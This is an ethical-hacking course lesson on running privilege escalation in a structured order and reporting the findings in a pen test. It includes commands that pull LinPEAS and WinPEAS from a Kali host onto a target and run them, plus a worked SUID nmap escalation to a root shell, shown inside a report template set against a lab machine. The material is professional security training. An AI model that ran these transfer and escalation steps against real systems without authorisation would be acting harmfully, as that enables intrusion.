Ethical Hacking
Privilege Escalation
L25 and L26 covered the individual techniques. This lesson pulls them into a structured methodology — how to approach escalation systematically, what to check first, how to document findings, and how to present them in a way that gets the client to actually fix things.
Escalation is about finding the weakest link
A system does not need to have every misconfiguration possible for escalation to succeed. It only needs one. The goal of a structured approach is to work through the most common paths in priority order — highest impact, lowest effort first — so you find that one path as quickly as possible without missing it by jumping to complex techniques too early.
The order matters. Checking sudo -l takes three seconds and occasionally returns (ALL) NOPASSWD: ALL — instant root, end of exercise. Running a kernel exploit attempt before checking sudo wastes time and risks destabilising the target. Always exhaust the simple checks before reaching for anything complex.
The escalation methodology — a structured order of checks
Running LinPEAS and WinPEAS efficiently
Both tools produce large amounts of output. The mistake most people make is reading it top to bottom like a document. Do not. These tools colour-code their output for a reason — start at the highest severity findings and work down. On a typical misconfigured host, the first five red findings are worth more time than the next fifty yellow ones.
The workflow below shows how to run both tools in a way that captures output for reporting while letting you focus on findings in real time.
# === LINUX — LinPEAS efficient workflow ===
# Transfer LinPEAS to the target via the Kali HTTP server
# On Kali: python3 -m http.server 8000
# On target:
wget http://KALI_IP:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
# Run LinPEAS and save output with tee
# tee writes to both screen and file simultaneously
# The -a flag on the output options saves in ansi colour format
# This preserves the colour coding if you open it with cat later
/tmp/linpeas.sh | tee /tmp/lpe_$(hostname)_$(date +%Y%m%d).txt
# After it finishes — grep specifically for the highest-priority lines
# LinPEAS marks critical lines with specific text patterns
grep -E "99%|95%|Possible" /tmp/lpe_*.txt
# === WINDOWS — WinPEAS efficient workflow ===
# Transfer to target (run in PowerShell)
# On Kali: python3 -m http.server 8000
powershell -c "Invoke-WebRequest http://KALI_IP:8000/winPEASany.exe -OutFile C:\Temp\wp.exe"
# Run WinPEAS and save output
C:\Temp\wp.exe > C:\Temp\wpe_output.txt
# Search the saved output for critical findings
# findstr is the Windows equivalent of grep
findstr /i "Unquoted\|SERVICE_ALL_ACCESS\|AlwaysInstall\|modifiable" C:\Temp\wpe_output.txtBreaking it down:
LinPEAS assigns a confidence percentage to each finding — 99% means the tool is almost certain this is exploitable, 95% means highly likely. These ratings help you decide what to investigate first without reading the full output. A 99% finding on sudo version or a SUID binary goes to the top of the investigation queue immediately.
The filename pattern lpe_$(hostname)_$(date +%Y%m%d).txt automatically includes the machine name and today's date. On engagements with multiple hosts, this prevents output files from different systems overwriting each other. Good file naming takes three seconds and saves a lot of confusion at report-writing time.
Documenting escalation — what evidence to capture
Every successful escalation needs four pieces of evidence captured before you move on. Miss one and you may find yourself trying to recreate screenshots during report writing — which wastes time and sometimes is not possible if the system has since been patched or restarted.
The misconfiguration — what was wrong
Screenshot or command output showing the exact misconfiguration — the SUID bit on nmap, the world-writable script, the (ALL) NOPASSWD: ALL sudo entry. This is the "vulnerability" section of the finding.
The exploitation steps — exactly what you ran
The exact commands used in the order they were run. This lets the client reproduce the finding and confirms the finding is real. It also documents your methodology for any legal review of the engagement.
Proof of elevated access — whoami and id output
The output of whoami and id (Linux) or whoami /all (Windows) from the elevated shell. This is irrefutable proof that root or SYSTEM was achieved. Without this, a client might dispute whether escalation actually succeeded.
Remediation — the specific fix
Not just "fix the misconfiguration" — the exact command or configuration change required. chmod -s /usr/bin/nmap. chmod 700 /usr/local/bin/cleanup.sh. Restrict sudo rules to specific commands. Specific remediation gets acted on. Vague remediation gets deferred.
Building the escalation section of the report
A well-structured escalation section in a pen test report follows a consistent format for each finding. The template below is what most professional pen test reports use — adapt it to the findings from your Metasploitable lab exercises as practice before doing it on a real engagement.
# This is the structure for one finding entry in a pen test report
# Use this template for every privilege escalation finding
# --- FINDING: [Short descriptive title] ---
# Severity: Critical / High / Medium / Low
# Host: 192.168.56.101
# System: Linux / Windows
# --- DESCRIPTION ---
# What the misconfiguration is. One or two sentences.
# What an attacker who found this could do with it.
# --- EVIDENCE ---
# Command used to identify the misconfiguration:
ls -la /usr/bin/nmap
# -rwsr-xr-x 1 root root 780676 Apr 8 2008 /usr/bin/nmap
# Commands used to exploit it:
nmap --interactive
# nmap> !sh
# Proof of elevated access:
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root),1001(msfadmin)
# --- REMEDIATION ---
# Specific fix — one actionable command or setting change
# Remove SUID bit from nmap:
chmod -s /usr/bin/nmap
# Upgrade to nmap version > 5.21 to remove interactive mode entirelyBreaking it down:
A technical person reads the evidence and understands what happened. A CISO reads the description and decides how to prioritise remediation. Both audiences need the report to speak to them. The description section translates the technical finding into business impact — "any local user can escalate to full root" is clearer than showing whoami output alone.
"Fix the SUID misconfiguration" goes on the long-term backlog. "chmod -s /usr/bin/nmap" gets run by a sysadmin in the next maintenance window. The more specific the remediation, the faster it gets addressed. Where possible, give the exact command, registry change, or configuration setting — not a description of what should be changed.
When escalation does not work — documenting the attempt
Not every escalation attempt succeeds. A hardened system may have no viable paths — or the viable paths exist but require conditions not present in the current engagement context. This is not a failure. It is a finding in its own right.
A report section that says "privilege escalation was attempted via SUID enumeration, sudo rules, cron job analysis, and credential search — no viable path was identified on this host" tells the client their hardening is working. That is valuable information. Document what was attempted, not just what succeeded.
Teacher's Note: Kernel exploits sit at the bottom of the checklist for good reason. They are the most complex path, require the most specific conditions, and carry the highest risk of crashing or destabilising the target. On a production system, a kernel exploit that panics the kernel takes down a live service. Exhaust every other option before going near kernel-level exploitation — and always confirm with the client that system stability risk is acceptable before attempting it.
Practice questions
Scenario:
Scenario:
Scenario:
Quiz
Scenario:
Scenario:
Scenario:
Up Next · Lesson 28
Malware Concepts
How malware actually works — infection mechanisms, payload types, persistence techniques, and how defenders detect each one.